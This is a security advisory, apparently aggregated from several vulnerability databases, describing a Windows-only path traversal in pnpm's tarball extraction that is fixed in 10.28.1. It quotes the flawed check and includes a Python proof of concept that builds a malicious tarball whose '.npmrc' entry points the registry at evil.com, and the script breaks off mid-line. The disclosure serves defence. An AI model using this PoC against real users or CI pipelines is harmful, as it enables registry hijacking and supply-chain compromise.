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bdu:2026-01030

BREW-pnpm-CVE-2026-23889 — pnpm has Windows-specific tarball Path Traversal

Affected: Homebrew: pnpm

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.

EUVD-2026-266764

fkie_cve-2026-23889

GHSA-6x96-7vc8-cm3p — pnpm has Windows-specific tarball Path Traversal

Affected: npm: pnpm

### Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal.

**This vulnerability is Windows-only.**

### Details **1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**

```typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) } ```

A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check.

**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**

- On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable)

### PoC 1. Create a malicious tarball with entry `package/foo\..\..\.npmrc` 2. Host it or use as a tarball URL dependency 3. On Windows: `pnpm install` 4. Observe `.npmrc` written outside package directory

```python import tarfile, io

tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkg_info = tarfile.TarInfo(name='package/package.json') pkg_info.size = len(pkg_json) tar.addfile(pkg_info, io.BytesIO(pkg_json))

malicious_content = b'registry=https://evil.com/\n' mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') mal_info.size…